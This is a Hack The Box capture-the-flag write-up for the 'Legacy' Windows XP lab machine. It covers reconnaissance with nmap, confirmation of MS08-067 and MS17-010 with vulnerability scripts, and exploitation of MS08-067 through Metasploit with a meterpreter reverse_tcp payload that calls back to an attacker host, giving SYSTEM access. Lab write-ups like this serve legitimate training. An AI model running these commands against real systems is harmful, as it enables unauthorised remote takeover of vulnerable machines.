HACK THE BOX · PENETRATION TEST REPORT



LEGACY

The First Windows Box — One Exploit, Straight to SYSTEM

★ ☆ ☆ ☆ EASY

3	2	SYSTEM
EXPLOIT STAGES	CVES CHAINED	FINAL ACCESS

Leandro Ancona

Offensive Security Practitioner | eJPT Certified
Massafra, Italy

SEL — SENTITI LIBERO

Contents

01 Executive Summary

02 Reconnaissance

03 Confirming the Vulnerability

04 MS08-067 to SYSTEM

05 Flags

06 Chain Summary and Conclusions

01

Executive Summary

Legacy is the first Windows machine in Hack The Box history and one of the simplest on the platform. It is a clean demonstration of a pre-authentication SMB remote code execution (MS08-067) that lands directly in the Server service context — SYSTEM — with no privilege-escalation step. Both flags are read from a single exploit.

Attack chain overview

1. Reconnaissance: Windows XP with only the SMB/RPC trio exposed.
2. The SMB vuln scripts confirm MS08-067 (and MS17-010).
3. MS08-067 runs as SYSTEM — both flags captured directly.

02

Reconnaissance

```
nmap -sC -sV -p- --min-rate 1000 <TARGET_IP> -oN legacy_nmap.txt
```

```
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds Windows XP
| smb-security-mode: message_signing: disabled (dangerous, but default)
| smb-os-discovery: OS: Windows XP; Computer name: legacy; Workgroup: HTB
```

● Key observation

Exactly the expected profile: Windows XP, only the SMB/RPC trio open (135, 139, 445), SMB signing disabled. This is the textbook target for MS08-067.

03

Confirming the Vulnerability

Rather than fire blind, verify with the dedicated SMB vuln scripts:

```
nmap --script smb-vuln-ms08-067,smb-vuln-ms17-010 -p445 <TARGET_IP>
```

```
| smb-vuln-ms17-010:  VULNERABLE  CVE-2017-0143
| smb-vuln-ms08-067:  VULNERABLE  CVE:CVE-2008-4250
```

The host is vulnerable to **both** MS08-067 and MS17-010 (EternalBlue). MS08-067 is the historical vector for this box.

04

MS08-067 to SYSTEM

⚠ Vulnerability confirmed

MS08-067 is a stack overflow in the Server service's path-canonicalisation routine (`NetpwPathCanonicalize`), reachable unauthenticated over SMB. It executes in the service context — SYSTEM — so no escalation is needed.

```
msfconsole
use exploit/windows/smb/ms08_067_netapi
set RHOSTS <TARGET_IP>
set LHOST <ATTACKER_IP>        # confirm with: ifconfig tun0
set payload windows/meterpreter/reverse_tcp
run
```

```
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
OS           : Windows XP (5.1 Build 2600, Service Pack 3).
Domain       : HTB
```

05

Flags

Windows XP stores profiles under `Documents and Settings` , not `Users` :

```
meterpreter > search -f user.txt
  c:\Documents and Settings\john\Desktop\user.txt
meterpreter > search -f root.txt
  c:\Documents and Settings\Administrator\Desktop\root.txt
```

USER FLAG

<REDACTED>

ROOT FLAG

<REDACTED>

06

Chain Summary and Conclusions

#	STAGE	TECHNIQUE	RESULT
1	Reconnaissance	Nmap SMB scan	Windows XP, SMB exposed
2	Vulnerability check	SMB vuln NSE scripts	MS08-067 & MS17-010
3	Exploitation	MS08-067 (CVE-2008-4250)	SYSTEM — both flags

Closing thoughts

Legacy is a textbook first box: enumerate, confirm the vulnerability deliberately rather than firing blind, and exploit. Some vectors need no privilege escalation at all — MS08-067 runs in the Server service's SYSTEM context, so a single exploit is the entire chain. The second door found in enumeration (EternalBlue) is exactly the vector for the follow-on machine *Blue*.

Key takeaways

- Verify the vuln, then choose — the scripts flagged two pre-auth RCEs.
- Some exploits skip privesc entirely; MS08-067 runs as SYSTEM.
- Know the OS's filesystem era — XP uses `Documents and Settings` .
- A second door seen in enumeration is a next box.

Writeup by Leandro Ancona — Offensive Security Practitioner, eJPT Certified.